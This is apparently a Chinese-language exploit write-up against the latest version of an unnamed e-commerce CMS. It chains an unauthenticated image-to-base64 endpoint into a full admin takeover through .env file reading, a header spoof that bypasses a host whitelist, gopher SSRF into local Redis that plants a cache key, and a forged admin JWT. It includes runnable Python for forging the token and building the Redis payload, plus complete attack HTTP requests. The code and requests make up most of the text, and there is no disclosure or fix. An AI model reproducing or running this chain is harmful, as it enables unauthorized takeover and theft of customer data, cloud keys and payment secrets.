某电商 CMS 最新版

看到这个电商框架有个图片转 base64 接口同时用了 curl_exec + file_get_contents + parse_url,直接冲了。

0x01 入口

路由文件 app/api/route/v1.php:

1
Route::post('img_base64', 'v1.PubCtrl/img_base64');

挂在 unauth 分组:

1
->middleware(\app\api\middleware\AuthMiddleware::class, false);

第二个参数 false 意思是 token 可选 → 未授权可达

0x02 LFI 漏洞核心函数

app/common.php (line 502):

1
2
3
4
5
6
7
8
9
10
11
function img_to_b64($avatar = '', $timeout = 9)
{
$avatar = str_replace('https', 'http', $avatar);
$url = parse_url($avatar);
if ($url['scheme'] . '://' . $url['host'] == config('site_url')) {
$imgData = preg_replace('/<\?php.*?\?>/is', '',
file_get_contents(public_path() . substr($url['path'], 1)));
return 'data:image/png;base64,' . base64_encode($imgData);
}
// else curl_exec($avatar) ← gopher SSRF 在这
}

两个坑:

  1. str_replace('https', 'http', $url) —— 子串替换。发 httpss:// → 替换后 https://,scheme 走私回来。
  2. site_url gate 只比 scheme + host,path 完全用户控制,path = /../.env 越出 public 目录读到项目根 .env

.env 里最有价值的字段是 APP_KEY(后面 JWT 签名要用)、CACHE_PREFIX(后面 Redis 键名要用)、REDIS_HOSTNAME/PORT(后面 SSRF 目标)。拿到 APP_KEY 本以为签一枚 admin JWT 就能进后台,一试直接 401,问题在下一节。

0x03 缓存门 —— 401 的真正原因

带着伪造的 JWT 打 adminapi,后端走 AuthService::parseToken(app/services/AuthService.php:60):

1
2
3
4
$md5Token = md5($token);
if (!$cacheService->has($md5Token) || !$cacheService->get($md5Token, '', NULL, 'admin')) {
throw new AuthException(110003);
}

只查 Redis 里 md5(token) 这个键存不存在,值只要 truthy 就行。没做任何 payload 和缓存值的一致性绑定

意思是”这个 token 我发过没?→ 看 Redis 里 md5(token) 存不存在 → 存在 = 发过”。开发者忘了 Redis 也可能被别人写

想过这道门 → 只需要往 Redis 里塞一个键,键名 = CACHE_PREFIX + md5(我的伪造JWT),值任意 truthy。

但 Redis 只监听 127.0.0.1(.env 里能看到),外网直连不上。只能让后端替我发 Redis 命令 —— SSRF

0x04 SSRF 投毒缓存

回到 0x02 那个 img_to_b64 函数,site_url gate 不命中的时候走 else 分支,里面是 curl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function img_to_b64($avatar = '', $timeout = 9)
{
$avatar = str_replace('https', 'http', $avatar);
$url = parse_url($avatar);
if ($url['scheme'].'://'.$url['host'] == config('site_url')) {
// LFI 分支 —— 我们已经用过了
}

// else 分支:curl 抓外部图
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $avatar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
// ... 没有 CURLOPT_PROTOCOLS 限制!
return curl_exec($ch);
}

关键:没设 CURLOPT_PROTOCOLS。libcurl 默认协议白名单里就有 gopher / dict / ftp / file / smtp。发 image=gopher://xxx:yyy/_数据,curl 就会打开 TCP 到 xxx:yyy 把数据原样发过去。

Redis 用的是 RESP 明文协议。所以 gopher://127.0.0.1:6379/_<URL 编码的 RESP> 等于对 127.0.0.1:6379 发一条 Redis 命令。这是十几年前的老 SSRF 技巧,curl 一直没修。

但 controller 里 curl 前面有个 host 白名单:

1
2
3
4
// app/api/controller/v1/PubCtrl.php
$domainArr = [ /* config 里配置的允许域名 */ ];
$domainArr = array_merge($domainArr, [$request->host()]);
if (!in_array($url['host'], $domainArr)) return fail();

Request::host() 加进白名单 —— 这里就是绕点。框架默认 trust_proxy=on,Request::host() 优先返回 X-Forwarded-Host header 的值。

攻击者只要发 X-Forwarded-Host: 127.0.0.1,白名单里就多了 127.0.0.1,gopher URL 里 host 是 127.0.0.1,通过,curl 打到本地 Redis

我们要发的 Redis 命令:

1
SET <CACHE_PREFIX><md5(伪造JWT)> a:1:{s:3:"uid";i:1;} EX 1800
  • 键名两部分:CACHE_PREFIX 从 .env 拿,md5(JWT) 依赖 JWT 具体值
  • a:1:{s:3:"uid";i:1;} = PHP serialize(['uid'=>1]),unserialize 是非空数组 = truthy
  • EX 1800 = 30 分钟 TTL,够用够跑

问题来了:JWT 现在还没造。所以下一节先造 JWT,拿到它才能算 md5、拼键名、造 gopher payload。

0x05 伪造 admin JWT

后台用的是 JWT,签名算法从 /utils/JwtAuth.php 里看:

1
$token = JWT::encode($params, Env::get('app.app_key', 'default'), 'HS256');

HS256 = HMAC-SHA256,对称密钥,同一把 key 既签又验。key 就是 .env 里的 APP_KEY,我们上一步已经拿到了。

看 controller 里 login 时怎么塞 payload:

1
2
$params = ['jti' => ['id' => $adminInfo->id, 'type' => 'admin']];
$token = JWT::encode($params, ...);

payload 里只有 jti.idjti.type 决定身份。装机 SQL 里超管固定是 id=1(INSERT INTO system_admin VALUES (1, 'admin', ...)),所以永远伪造 id=1, type=admin

再看 parseToken 里最后一道验证(第 0x03 节缓存门后面):

1
2
3
[$id, $type, $pwd] = $jwtAuth->parseToken($token);
// ...
if ($pwd !== '' && $pwd !== md5($adminInfo->pwd)) throw ...;

条件门。PHP 短路语义:$pwd !== '' && ... 里如果 $pwd 是空字符串,左边 false,右边不算。所以 payload 里不写 pwd 字段就等于空串,门直接跳过。

JWT 结构就三段用 . 分隔:<Header>.<Payload>.<Signature>,每段 Base64URL 编码(不是普通 Base64,+/= 换成 -_ ,末尾 = 去掉)。签名 = HMAC_SHA256(APP_KEY, Header + "." + Payload)

完整伪造代码,可直接跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64, hmac, hashlib, json, time

APP_KEY = "app_key_xxxxxxxxxxx" # ← 从上一步 LFI 读到的 .env 里抠

now = int(time.time())

# Base64URL(不是标准 Base64):+ → -,/ → _,末尾 = 去掉
def b64url(raw: bytes) -> bytes:
return base64.urlsafe_b64encode(raw).rstrip(b'=')

# Header:固定 HS256
header = {"typ": "JWT", "alg": "HS256"}

# Payload:
# iat/nbf 提前 60 秒 —— 防目标机器时钟稍慢导致 nbf 校验失败
# exp 给 1 小时,够用
# jti.id=1 是装机默认超管
# type=admin 走 admin 权限
# **不写 pwd 字段** —— 利用 pwd !== '' && ... 短路
payload = {
"iss": "", "aud": "",
"iat": now - 60,
"nbf": now - 60,
"exp": now + 3600,
"jti": {"id": 1, "type": "admin"},
}

# JSON 序列化用紧凑格式 —— 别用 indent,别加空格,和后端 encode 出的字节对齐
h_seg = b64url(json.dumps(header, separators=(',', ':')).encode())
p_seg = b64url(json.dumps(payload, separators=(',', ':')).encode())

# signing input = header.payload
signing_input = h_seg + b'.' + p_seg

# HMAC-SHA256 出 32 字节,Base64URL 编码
sig = hmac.new(APP_KEY.encode(), signing_input, hashlib.sha256).digest()
s_seg = b64url(sig)

# 三段拼起来
jwt = (signing_input + b'.' + s_seg).decode()
print(jwt)

拿到手的 JWT 可以粘到 jwt.io 检查 —— 只要 secret 填对(输入我们知道的 APP_KEY),它会显示 “Signature Verified”。

这枚 JWT 接下来会被用两次,别以为只是最后 header 塞一下:

  1. 上一节 gopher 里用:算 md5(这枚 JWT),拼上 CACHE_PREFIX 得到 Redis 键名。种别的键完全没用,后端只查这枚 JWT 对应的那个键。
  2. 最后打 adminapi 用:Auth-Header: Bearer <JWT>。后端拿它再算一次 HMAC 和 Signature 段比对(verifyToken(APP_KEY)),只有真的用 APP_KEY 签的才能过。

JWT + gopher 是绑死的:先造 JWT → 算 md5 → 造 gopher payload → 种缓存 → 再拿 JWT 打后台。顺序反了、JWT 换了,整条链都断。

0x06 数据流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /api/img_base64  image=httpss://<site>/../.env

str_replace('https','http') → https://<site>/../.env

site_url gate 通过

file_get_contents('public/../.env')

.env → APP_KEY + CACHE_PREFIX + REDIS

本地 HS256 签 admin JWT {jti:{id:1,type:admin}}

POST /api/img_base64 (X-Forwarded-Host: 127.0.0.1)
image=gopher://127.0.0.1:6379/_<RESP: SET md5(jwt) truthy>

curl_exec gopher → Redis SET

GET /adminapi/... Auth-Header: Bearer <jwt>

Cache::has(md5(jwt)) ✓ + verifyToken(APP_KEY) ✓ + admin.id=1 ✓ + pwd 空短路 ✓

{"status":200,"data":{"value":"<真实站名>"}}

0x07 数据包

LFI 读 .env:

1
2
3
4
5
6
POST /api/img_base64 HTTP/1.1
Host: www.target.com
X-Forwarded-Host: www.target.com
Content-Type: application/x-www-form-urlencoded

image=httpss%3A%2F%2Fwww.target.com%2F..%2F.env

响应 data.image 是 base64 编码的 .env 内容,含 APP_KEY=app_key_xxxxxxxxxxxCACHE_PREFIX=cache_xxxxx:

site_url 域名要抠对(有的站是 www. 有的是裸域),从公开 API 响应里抠图片 URL 前缀:

1
2
GET /api/home HTTP/1.1
Host: www.target.com

响应里图片资源类似 "banner":[{"img":"https://www.target.com/static/images/xxx.png"}],static/images/* 是应用内置静态路径,前缀等于 site_url。

造 gopher payload(接 0x05 拿到的 jwt):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib, urllib.parse

CACHE_PREFIX = "cache_xxxxx:" # ← 从 .env 拿
key = CACHE_PREFIX + hashlib.md5(jwt.encode()).hexdigest()
value = 'a:1:{s:3:"uid";i:1;}' # PHP serialize(['uid'=>1]),truthy 数组

# Redis RESP 协议:*N = 数组 N 个元素,$M = 长度 M 的字符串
def bulk(s): return f"${len(s.encode())}\r\n{s}\r\n"

resp = (
"*5\r\n" + bulk("SET") + bulk(key) + bulk(value) + bulk("EX") + bulk("1800")
+ "*1\r\n" + bulk("QUIT") # QUIT 让 Redis 主动关连接,curl 秒回不用等 12s 超时
)
gopher = "gopher://127.0.0.1:6379/_" + urllib.parse.quote(resp, safe="")

SSRF 种缓存:

1
2
3
4
5
6
POST /api/img_base64 HTTP/1.1
Host: www.target.com
X-Forwarded-Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

image=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A5%0D%0A%243%0D%0ASET%0D%0A%2436%0D%0Acache_xxxxx%3A<md5-jwt>%0D%0A%2420%0D%0Aa%3A1%3A%7Bs%3A3%3A%22uid%22%3Bi%3A1%3B%7D%0D%0A%242%0D%0AEX%0D%0A%244%0D%0A1800%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A

响应 {"data":{"code":false,"image":false}} —— gopher 无 HTTP 状态,curl_exec 认为失败,但 SET 已在 Redis 落地。

验证接管:

1
2
3
GET /adminapi/config/get_system/site_name HTTP/1.1
Host: www.target.com
Auth-Header: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOnsi...
1
{"status":200,"msg":"success","data":{"value":"<真实站名>"}}

401 → 200,超管接管完成。后续 /adminapi/* 任意端点(用户列表 / 订单 / 云 AK/SK / 支付密钥)全解锁。